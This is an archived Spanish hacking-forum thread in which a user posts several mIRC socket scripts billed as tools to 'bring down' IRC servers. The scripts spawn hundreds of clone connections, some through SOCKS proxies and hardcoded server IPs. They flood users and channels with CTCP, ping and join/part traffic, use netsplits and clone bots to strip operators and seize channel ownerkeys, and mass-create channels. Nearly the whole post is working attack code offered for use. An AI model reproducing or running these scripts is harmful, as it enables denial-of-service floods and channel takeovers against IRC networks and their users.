Tumbando servidores irc-1eraparte [Archivo] - HACK HiSPANO - Foros de seguridad informática y hacking.

Ver la versión completa : Tumbando servidores irc-1eraparte

fermarlop

17-05-2002, 05:28

pasteare 4 inis para mirc para akellos amantes del war irc
no hay trabajo alguno realizado al respecto con tanta exactitud y se trata de sockes...estos inis cargarlos al remote del mirc
avisos: hay servidores ke ya lo probaron o sea ke tanparcheados te cargan 500 clones en un ircd o ircx no parcheado...te crean 3000 salones en un ircd o ircx no bien seteado ahi va son 4...no existen estos inis en la red solo es trabajo de mi amigo n4zgul de españa y el ke les pastea...cargarlos en una carpeta dentro del mirc llamada c:\mirc\system
1ero-nombre del ini = mass.socks.adv
------------------------------------------------------------------------------------
- Advance null -

[+mass socks+]

alias sockbots {
set %num.clones $$?="Num clones:"
.window -e @mass.socks
set %contador 0
while (%contador < %num.clones) {
.sockopen sock $+ %contador %s.server
inc %contador
}
}

alias sockmask { return Mo $+ $r(0,99) $+ $r(0,99) $+ $r(0,99) }

on 1:sockopen:sock*: {
sockwrite -n $sockname user $sockmask $sockmask $sockmask : mass.socks v.1.0+
sockwrite -n $sockname mode +i
sockwrite -n $sockname ircx
sockwrite -n $sockname nick adV $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(1,9)
set %massjoin %masschan.1 $+ $chr(44) $+ %masschan.2 $+ $chr(44) $+ %masschan.3 $+ $chr(44) $+ %masschan.4 $+ $chr(44) $+ %masschan.5 $+ $chr(44) $+ %masschan.6 $+ $chr(44) $+ %masschan.7 $+ $chr(44) $+ %masschan.8 $+ $chr(44) $+ %masschan.9 $+ $chr(44) $+ %masschan.10
sockwrite -n $sockname join $remove(%massjoin ,$chr(91),$chr(93))
.guser 1000 $me 3
}

on 1:sockclose:sock*: {
echo @mass.socks 15[14mass socks15] -14 $sockname closed =/ !
}
on 1:sockread:sock*: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == ERROR) {
echo @mass.socks 15[14mass socks15] -14 sock.error !!!!
}
if ($gettok(%sock.data,2,32) == MODE) {
if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) {
if (-q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) {
sockwrite -n $sockname part $gettok(%sock.data,3,32)
sockwrite -n $sockname join $gettok(%sock.data,3,32) $key($chan)
sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
}
sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] | halt
}
if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && (-q isin %sock.data)) {
if (($level($address($gettok(%sock.data,5,32),3)) == 1000) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname mode $gettok(%sock.data,3,32) -q+q %sock.badguy $gettok(%sock.data,5,32) | halt }
}
}
if (+q % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add owner $ip 0 | halt }
if (+o % [ $+ [ $sockname ] $+ ] .mynick isin %sock.data) { timer93 $+ $sockname $+ $gettok(%sock.data,3,32) 0 30 sockwrite -n $sockname access $gettok(%sock.data,3,32) add host $ip 0 | halt }
if ($gettok(%sock.data,2,32) == JOIN) {
set %sock.badguytemp $mid(%sock.data,2,$calc($pos(%sock.data,!,1) - 2))
if ($level($address(%sock.badguytemp,3)) == 1000) {
sockwrite -n $sockname mode $remove($gettok(%sock.data,3,32),:) +q %sock.badguytemp
halt
}
if ($level($address(%sock.badguy,3)) == LAMER) {
sockwrite -n $sockname kick $remove($gettok(%sock.data,3,32),:) %sock.badguy 15[ 14banned 15]
}
}
if ($gettok(%sock.data,2,32) == KICK) {
if (% [ $+ [ $sockname ] $+ ] .mynick == $gettok(%sock.data,4,32)) {
sockwrite -n $sockname join $gettok(%sock.data,3,32) $key($chan)
sockwrite -n $sockname access $gettok(%sock.data,3,32) clear
if ((%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick) && ($level($address(%sock.badguy,3)) != 1000)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] }
halt
}
if (($level($address($gettok(%sock.data,4,32),3)) == 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) { sockwrite -n $sockname kick $gettok(%sock.data,3,32) %sock.badguy 15[ 9f14uck 9y140u 15] | halt }
}
if (PROP $gettok(%sock.data,3,32) OWNERKEY isin %sock.data) {
if (($level($address(%sock.badguy,3)) != 1000) && (%sock.badguy != % [ $+ [ $sockname ] $+ ] .mynick)) {
halt
}
if ($level($address(%sock.badguy,3)) == 1000) {
echo @mass.socks 15[14mass socks15] - %sock.badguy (+n) proped the ownerkey of $remove($gettok(%sock.data,5,32),:)
%sock.key = $remove($gettok(%sock.data,5,32),:)
halt
}
}
if ($gettok(%sock.data,2,32) isnum) {
%raw = $gettok(%sock.data,2,32)
if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :15 $gettok(%sock.data,5-,32) }
if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+ ),:) | halt }
if (%raw == 376) { echo @mass.socks 15[14mass socks15] - %sock.nick registered }
halt
}
}

on 1:kick:#: {
if (($level($address($knick,3)) == 1000) && ($level($address($nick,3)) != 1000)) { kick $chan $nick 15[ 9n140t 9f14uck 9m14y 9m14aster 15] }
}

alias jpf {
set %chanf $$?="Channel flood:"
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
sockwrite -n * part %chanf
sockwrite -n * join %chanf
}

alias ctcpf { echo @mass.socks 15[14mass socks15] - [14ctcp ctcp flood15] | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :0,1CLIENTINFO | .sockwrite -n * PRIVMSG $1 :0,1USERINFO | .sockwrite -n * PRIVMSG $1 :0,1DCC CHAT 000000000 000 000 25 | .sockwrite -n * PRIVMSG $1 :0,1DCC SEND Fuck.You 3353362454 25 666 }

alias msgf { echo @mass.socks 15[14mass socks15] - [14ctcp msg flood15] | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- | .sockwrite -n * PRIVMSG $1 $2- }

alias pingf { echo @mass.socks 15[14mass socks15] - [14ctcp ping flood15] | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING | .sockwrite -n * PRIVMSG $1 :PING }

alias versionf { echo @mass.socks 15[14mass socks15] - [14ctcp version flood15] | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION | .sockwrite -n * PRIVMSG $1 :0,1VERSION }

alias massf { set %cnflood $$?="Nick/Channel:" | echo @mass.socks 15[14mass socks15] - [14ctcp mass flood15] | .timer 1 6 /ctcpf $! | .timer 1 12 /msgf $! | .timer 1 18 /pingf $! | .timer 1 25 /versionf $! }

alias Cchat3evr {
.timer54 4 3 /sockwrite -nt sock* privmsg %chanflodsock : $+ $chr(1) $+ PINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGG $+ $chr(1) | /sockwrite -nt sock* privmsg %chanflodsock : $+ $chr(1) $+ PINGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG GGGGGGGGGGGGGGGGGGG $+ $chr(1)
}

[+sploit socks+] + I look this sploit bots in bGiRCX + (+ reformed by $me +)

on 1:sockopen:%sploit.1: {
sockwrite -tn $sockname user $sockname $rkey $rkey $rkey
sockwrite -tn $sockname nick $sockname
sockwrite -tn $sockname join %sploit.chan
}
on 1:sockopen:%sploit.2: {
sockwrite -tn $sockname user $sockname $rkey $rkey $rkey
sockwrite -tn $sockname nick $sockname
sockwrite -tn $sockname join %sploit.chan
}

on 1:sockread:%sploit.1: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == PING) { sockwrite -tn $sockname PONG $remove($gettok(%sock.data,2,32),:) | return }
}
on 1:sockread:%sploit.2: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == PING) { sockwrite -tn $sockname PONG $remove($gettok(%sock.data,2,32),:) | return }
}

alias testd {
set %nopnicks $numtok($replace($snicks,$chr(44),$chr(32)),32)
set %donicks $replace($snicks,$chr(44),$chr(32))
sockwrite -tn %sploit.2 mode # - $+ $str(q,%nopnicks) $remove(%donicks,%sploit.2)
sockwrite -tn %sploit.1 kick # $remove($snicks,%sploit.1)
sockwrite -tn %sploit.1 prop # ownerkey :
sockwrite -tn %sploit.1 access # clear
sockwrite -tn %sploit.2 join #
}
alias teste {
set %nopnicks $numtok($replace($snicks,$chr(44),$chr(32)),32)
set %donicks $replace($snicks,$chr(44),$chr(32))
sockwrite -tn %sploit.1 mode # - $+ $str(q,%nopnicks) $remove(%donicks,%sploit.1)
sockwrite -tn %sploit.2 kick # $remove($snicks,%sploit.2)
sockwrite -tn %sploit.2 prop # ownerkey :
sockwrite -tn %sploit.2 access # clear
sockwrite -tn %sploit.1 join #
}

alias qex {
set %quitmessage $?="Msg Quit:"
if (%quitmessage == $null) { set %quitmessage 9: 15[14die lammer!15] | halt }
if (%quitmessage != $null) {
if ($snicks == $null) { echo -a $advanced.Z 9: 15[14select nick in nick list15] | halt }
if ($snicks != $null) {
sockwrite -n %sploit.1 kick # %s0ckz
sockwrite -n %sploit.2 kick # $snicks : $+ %quitmessage
.timerrejoin 1 3 sockwrite -n %sploit.2 join # $key($chan)
unset %quitmessage
halt
}
}
}

alias sploit.load {
set %sploit.1 $rkey
set %sploit.2 $rkey
sockopen %sploit.1 %sploit.server
sockopen %sploit.2 %sploit.server
}

menu nicklist {
$iif(%mode.ircx == on,- sploit socks -)
.server ( $+ %sploit.server $+ ):set %sploit.server $$?="Server+Port:"
.-
.load sploit socks: {
set %sploit.chan #
sploit.load
}
.unload: {
sockclose %sploit.1
sockclose %sploit.2
}
.-
.%sploit.1
..spl0it!://testd
.%sploit.2
..spl0it!://teste
.quit exploit:qex
}
-------------------------------------------------------------------------------------------------------------------------------------------------------

[[speedsocks2]]

on 1:sockopen:tets*: {
sockopen -n $sockname 200.42.143.43 6667
sockwrite -n $sockname nick erd $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(1,9) $+
sockwrite -n $sockname user adVanced adVanced adVanced adVanced
sockwrite -n $sockname mode +i
sockwrite -n $sockname ircX
sockwrite -n $sockname join #auryn
sockwrite -n $sockname join %sock.channel2
sockwrite -n $sockname join %sock.channel3
sockwrite -n $sockname join %sock.channel4
sockwrite -n $sockname join %sock.channel5
sockwrite -n $sockname join %sock.channel6
sockwrite -n $sockname join %sock.channel7
sockwrite -n $sockname join %sock.channel8
sockwrite -n $sockname join %sock.channel9
sockwrite -n $sockname join %sock.channel10
.guser 1000 $me 3
}

alias sockybots { set %sp00fx $$?="spoof (1080):" | sockybots2 }
alias sockybots2 {
.window -e @mass.socks
.sockopen tets1 %sp00fx 1080
.sockopen tets2 %sp00fx 1080
.sockopen tets3 %sp00fx 1080
.sockopen tets4 %sp00fx 1080
.sockopen tets5 %sp00fx 1080
.sockopen tets6 %sp00fx 1080
.sockopen tets7 %sp00fx 1080
.sockopen tets8 %sp00fx 1080
.sockopen tets9 %sp00fx 1080
.sockopen tets10 %sp00fx 1080
.sockopen tets11 %sp00fx 1080
.sockopen tets12 %sp00fx 1080
.sockopen tets13 %sp00fx 1080
.sockopen tets14 %sp00fx 1080
.sockopen tets15 %sp00fx 1080
.sockopen tets16 %sp00fx 1080
.sockopen tets17 %sp00fx 1080
.sockopen tets18 %sp00fx 1080
.sockopen tets19 %sp00fx 1080
.sockopen tets20 %sp00fx 1080
.sockopen tets21 %sp00fx 1080
.sockopen tets22 %sp00fx 1080
.sockopen tets23 %sp00fx 1080
.sockopen tets24 %sp00fx 1080
.sockopen tets25 %sp00fx 1080
.sockopen tets26 %sp00fx 1080
}

on 1:sockclose:tets*: {
echo @mass.socks 15[14mass socks15] -14 $sockname closed =/ !
}
on 1:sockread:tets*: {
sockread %sock.data
if ($gettok(%sock.data,1,32) == ERROR) {
echo @mass.socks 15[14mass socks15] -14 sock.error !!!!
}
if ($gettok(%sock.data,2,32) isnum) {
%raw = $gettok(%sock.data,2,32)
if (%raw == 319) { sockwrite -n $sockname notice %sock.badguytemp :15 $gettok(%sock.data,5-,32) }
if (%raw == 485) { sockwrite -n $sockname mode %sock.chan +o %sock.badguytemp }
if (%raw == 353) { set %sock.data $gettok(%sock.data,6-,32) | set %mass2 $remove($remove($remove($remove(%sock.data,@),.),+ ),:) | halt }
if (%raw == 376) { echo @mass.socks 15[14mass socks15] - %sock.nick registered }
halt
}
}
------------------------------------------------------------------------------------

fermarlop

17-05-2002, 05:29

2do-nombre del ini = splitsocks.adv
----
- Advance null - + thanks Spy_vs_Spy for this shit split lol! (really are good!!!) +

[+split.socks+]

on 1:disconnect: {
if ($sockerr < 0) { kits | kitzs }
if (%launch.on = +) { splitsocks }
}

alias splitsocks {
window -e @split-socks
%rsp1 = z | %rsp2 = x | %rsp3 = w | %rsp4 = y | %rsp5 = k | %rsp6 = v
%con.207.46.216.102 = OFF | %con.207.46.216.103 = OFF | %con.207.46.216.104 = OFF
%con.207.46.216.106 = OFF | %con.207.46.216.107 = OFF | %con.207.46.216.109 = OFF
.sockopen %splitnick1 $+ %rsp1 $+ 102 %splitserver
.sockopen %splitnick1 $+ %rsp2 $+ 103 %splitserver
.sockopen %splitnick1 $+ %rsp3 $+ 104 %splitserver
.sockopen %splitnick1 $+ %rsp4 $+ 106 %splitserver
.sockopen %splitnick1 $+ %rsp5 $+ 107 %splitserver
.sockopen %splitnick1 $+ %rsp6 $+ 109 %splitserver
}

on 1:sockopen:*102:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user split sock fast :suck me! $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
on 1:sockopen:*103:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user unyz split sock :my dick! $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
on 1:sockopen:*104:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user shit split sock :fuck you! $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
on 1:sockopen:*106:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user oh my dick :make fuck $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
on 1:sockopen:*107:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user lol fucked live eh! $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
on 1:sockopen:*109:{
if ( $sock($sockname).status == active ) {
sockwrite -n $sockname user make a split :not problem $+ $crlf $+ nick $sockname $+ $crlf $+ join %splitjoin
halt
}
if ( $sockerr > 0) {
timeout. [ $+ [ $sock($sockname).ip ] ]
}
}
alias timeout.207.46.216.102 {
if (%con.207.46.216.102 == OFF) {
inc %i102
.sockopen %splitnick1 $+ %i102 $+ 102 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i102
}
}
alias timeout.207.46.216.103 {
if (%con.207.46.216.103 == OFF) {
inc %i103
.sockopen %splitnick1 $+ %i103 $+ 103 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i103
}
}
alias timeout.207.46.216.104 {
if (%con.207.46.216.104 == OFF) {
inc %i104
.sockopen %splitnick1 $+ %i104 $+ 104 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i104
}
}
alias timeout.207.46.216.106 {
if (%con.207.46.216.106 == OFF) {
inc %i106
.sockopen %splitnick1 $+ %i106 $+ 106 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i106
}
}
alias timeout.207.46.216.107 {
if (%con.207.46.216.107 == OFF) {
inc %i107
.sockopen %splitnick1 $+ %i107 $+ 107 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i107
}
}
alias timeout.207.46.216.109 {
if (%con.207.46.216.109 == OFF) {
inc %i109
.sockopen %splitnick1 $+ %i109 $+ 109 %splitserver
clear @split-socks
echo @split-socks 15[14split15] - 14 reconnection attempt %i109
}
}
on 1:sockread:*102: {
var %s102
sockread %s102
if ($gettok(%s102,2,32) isnum) {
%raw102 = $gettok(%s102,2,32)
if (%raw102 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
.timer102 1 5 set %con. [ $+ [ $sock($sockname).ip ] ] OFF
}
elseif (%raw102 > 001) && (%raw102 <= 352) { halt }
elseif (%raw102 == 353) {
if (:@ $+ $sockname isin %s102) {
SplitProp $sockname $remove($gettok(%s102,5,32),:) $r(111,99999)
}
}
elseif (%raw102 > 354) { halt }
}
if ($gettok(%s102,2,32) == PROP) && ($gettok(%s102,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s102,1,32) set ownerkey in $gettok(%s102,3,32) to $gettok(%s102,5,32)
}
else { halt }
}
on 1:sockread:*103: {
var %s103
sockread %s103
if ($gettok(%s103,2,32) isnum) {
%raw103 = $gettok(%s103,2,32)
if (%raw103 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
.timer103 1 5 set %con. [ $+ [ $sock($sockname).ip ] ] OFF
}
elseif (%raw103 > 001) && (%raw103 <= 352) { halt }
elseif (%raw103 == 353) {
if (:@ $+ $sockname isin %s103) {
SplitProp $sockname $remove($gettok(%s103,5,32),:) $r(111,99999)
}
}
elseif (%raw103 > 354) { halt }
}
if ($gettok(%s103,2,32) == PROP) && ($gettok(%s103,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s103,1,32) set ownerkey in $gettok(%s103,3,32) to $gettok(%s103,5,32)
}
else { halt }
}
on 1:sockread:*104: {
var %s104
sockread %s104
if ($gettok(%s104,2,32) isnum) {
%raw104 = $gettok(%s104,2,32)
if (%raw104 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
.timer104 1 5 set %con. [ $+ [ $sock($sockname).ip ] ] OFF
}
elseif (%raw104 > 001) && (%raw104 <= 352) { halt }
elseif (%raw104 == 353) {
if (:@ $+ $sockname isin %s104) {
SplitProp $sockname $remove($gettok(%s104,5,32),:) $r(111,99999)
}
}
elseif (%raw104 > 354) { halt }
}
if ($gettok(%s104,2,32) == PROP) && ($gettok(%s104,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s104,1,32) set ownerkey in $gettok(%s104,3,32) to $gettok(%s104,5,32)
}
else { halt }
}
on 1:sockread:*106: {
var %s106
sockread %s106
if ($gettok(%s106,2,32) isnum) {
%raw106 = $gettok(%s106,2,32)
if (%raw106 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
.timer106 1 5 set %con. [ $+ [ $sock($sockname).ip ] ] OFF
}
elseif (%raw106 > 001) && (%raw106 <= 352) { halt }
elseif (%raw106 == 353) {
if (:@ $+ $sockname isin %s106) {
SplitProp $sockname $remove($gettok(%s106,5,32),:) $r(111,99999)
}
}
elseif (%raw106 > 354) { halt }
}
if ($gettok(%s106,2,32) == PROP) && ($gettok(%s106,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s106,1,32) set ownerkey in $gettok(%s106,3,32) to $gettok(%s106,5,32)
}
else { halt }
}
on 1:sockread:*107: {
var %s107
sockread %s107
if ($gettok(%s107,2,32) isnum) {
%raw107 = $gettok(%s107,2,32)
if (%raw107 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
.timer107 1 5 set %con. [ $+ [ $sock($sockname).ip ] ] OFF
}
elseif (%raw107 > 001) && (%raw107 <= 352) { halt }
elseif (%raw107 == 353) {
if (:@ $+ $sockname isin %s107) {
SplitProp $sockname $remove($gettok(%s107,5,32),:) $r(111,99999)
}
}
elseif (%raw107 > 354) { halt }
}
if ($gettok(%s107,2,32) == PROP) && ($gettok(%s107,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s107,1,32) set ownerkey in $gettok(%s107,3,32) to $gettok(%s107,5,32)
}
else { halt }
}
on 1:sockread:*109: {
var %s109
sockread %s109
if ($gettok(%s109,2,32) isnum) {
%raw109 = $gettok(%s109,2,32)
if (%raw109 == 001) {
%con. [ $+ [ $sock($sockname).ip ] ] = ON
echo @split-socks 15[14split15] - 14link accepted to $sock($sockname).ip
}
elseif (%raw109 > 001) && (%raw109 <= 352) { halt }
elseif (%raw109 == 353) {
if (:@ $+ $sockname isin %s109) {
SplitProp $sockname $remove($gettok(%s109,5,32),:) $r(111,99999)
}
}
elseif (%raw109 > 354) { halt }
}
if ($gettok(%s109,2,32) == PROP) && ($gettok(%s109,4,32) == OWNERKEY) {
echo @split-socks 15[14split15] -14 $gettok(%s109,1,32) set ownerkey in $gettok(%s109,3,32) to $gettok(%s109,5,32)
}
else { halt }
}

on 1:sockclose:*102:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

on 1:sockclose:*103:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

on 1:sockclose:*104:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

on 1:sockclose:*106:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

on 1:sockclose:*107:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

on 1:sockclose:*109:{
echo @split-socks 15[14split15] -14 $sockname closed =/ !
}

[+alias split.socks+]

alias SplitProp {
/sockwrite -n $1 PROP $2 OWNERKEY : $+ $rkey | /sockwrite -n $1 PROP $2 TOPIC : $+ 15[14split-socks v. 1.0+15] .:( $+ $me $+ ):.
}

alias sjoin { return %sjoin. [ $+ [ $1 ] ] }

[+dialog split.socks+]

dialog splitsocks {
title "Splitsocks (sX)"
size -1 -1 280 350
box "Split socks", 1, 5 5 270 340
text "Splitsocks Nick", 40, 30 30 180 20
edit "", 2, 40 50 100 22, autohs
text "Channels" , 51, 30 85 200 20
edit "", 4, 40 105 100 22, autohs
edit "", 5, 160 105 100 22, autohs
edit "", 6, 40 130 100 22, autohs
edit "", 7, 160 130 100 22, autohs
edit "", 8, 40 155 100 22, autohs
edit "", 10, 160 155 100 22, autohs
edit "", 11, 40 180 100 22, autohs
edit "", 12, 160 180 100 22, autohs
edit "", 13, 40 205 100 22, autohs
edit "", 14, 160 205 100 22, autohs
text "Server", 55, 30 240 180 20
edit "", 15, 40 260 75 22, autohs
edit "", 16, 160 260 50 22, autohs
button "Load", 17, 40 305 59 14, OK default
button "Unload", 18, 160 305 59 14, cancel default
icon 19, 190 55 100 83,$mircdiradvance.exe
text "n4z®code", 100, 190 20 59 14
}

on *:dialog:splitsocks:init:0: {
did -b $dname 100
did -a splitsocks 2 %splitnick1
did -a splitsocks 4 %sjoin.1
did -a splitsocks 5 %sjoin.2
did -a splitsocks 6 %sjoin.3
did -a splitsocks 7 %sjoin.4
did -a splitsocks 8 %sjoin.5
did -a splitsocks 10 %sjoin.6
did -a splitsocks 11 %sjoin.7
did -a splitsocks 12 %sjoin.8
did -a splitsocks 13 %sjoin.9
did -a splitsocks 14 %sjoin.10
did -a splitsocks 15 %sserv
did -a splitsocks 16 %sport
}

on *:dialog:splitsocks:sclick:17: {
if ($did(2).text != $null) { %splitnick1 = $did(2).text }
if ($did(4).text != $null) { %sjoin.1 = $did(4).text }
if ($did(5).text != $null) { %sjoin.2 = $did(5).text }
if ($did(6).text != $null) { %sjoin.3 = $did(6).text }
if ($did(7).text != $null) { %sjoin.4 = $did(7).text }
if ($did(8).text != $null) { %sjoin.5 = $did(8).text }
if ($did(10).text != $null) { %sjoin.6 = $did(10).text }
if ($did(11).text != $null) { %sjoin.7 = $did(11).text }
if ($did(12).text != $null) { %sjoin.8 = $did(12).text }
if ($did(13).text != $null) { %sjoin.9 = $did(13).text }
if ($did(14).text != $null) { %sjoin.10 = $did(14).text }
if ($did(15).text != $null) { %sserv = $did(15).text }
if ($did(16).text != $null) { %sport = $did(16).text }
if ($did(4).text == $null) { unset %sjoin.1 }
if ($did(5).text == $null) { unset %sjoin.2 }
if ($did(6).text == $null) { unset %sjoin.3 }
if ($did(7).text == $null) { unset %sjoin.4 }
if ($did(8).text == $null) { unset %sjoin.5 }
if ($did(10).text == $null) { unset %sjoin.6 }
if ($did(11).text == $null) { unset %sjoin.7 }
if ($did(12).text == $null) { unset %sjoin.8 }
if ($did(13).text == $null) { unset %sjoin.9 }
if ($did(14).text == $null) { unset %sjoin.10 }
set %splitjoin %sjoin.1 $+ $chr(44) $+ %sjoin.2 $+ $chr(44) $+ %sjoin.3 $+ $chr(44) $+ %sjoin.4 $+ $chr(44) $+ %sjoin.5 $+ $chr(44) $+ %sjoin.6 $+ $chr(44) $+ %sjoin.7 $+ $chr(44) $+ %sjoin.8 $+ $chr(44) $+ %sjoin.9 $+ $chr(44) $+ %sjoin.10
set %splitserver $did(15).text $did(16).text
sockclose *
splitsocks
}

on *:dialog:splitsocks:init:*:{
if (%sock.nick1 != $null) did -a bots 2 %splitnick1
}

on *:dialog:splitsocks:sclick:18:{ sockwrite -tn * quit 15[14split15] | sockclose * | window -c @split-socks }
------------------------------------------------------------------------

fermarlop

17-05-2002, 05:31

nombre split.creator.adv
.................................................. .....
- Advance null -

[+split cretor socks+]

alias creatorsplits {
set %num.clons.to.split $$?="Num clones:"
.window -e @creator.split
set %contadr 0
while (%contadr < %num.clons.to.split) {
.sockopen creator $+ %contadr %makerserver
inc %contadr
}
}

on 1:sockopen:creator*: {
sockwrite -n $sockname USER crea split socks hof
sockwrite -n $sockname mode +i
sockwrite -n $sockname ircx
sockwrite -n $sockname nick kan $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(1,9) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(1,9)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
.sockwrite -n $sockname join %makersplit $+ $rand(0,99999) $+ $rand(A,Z) $+ $rand(0,99999)
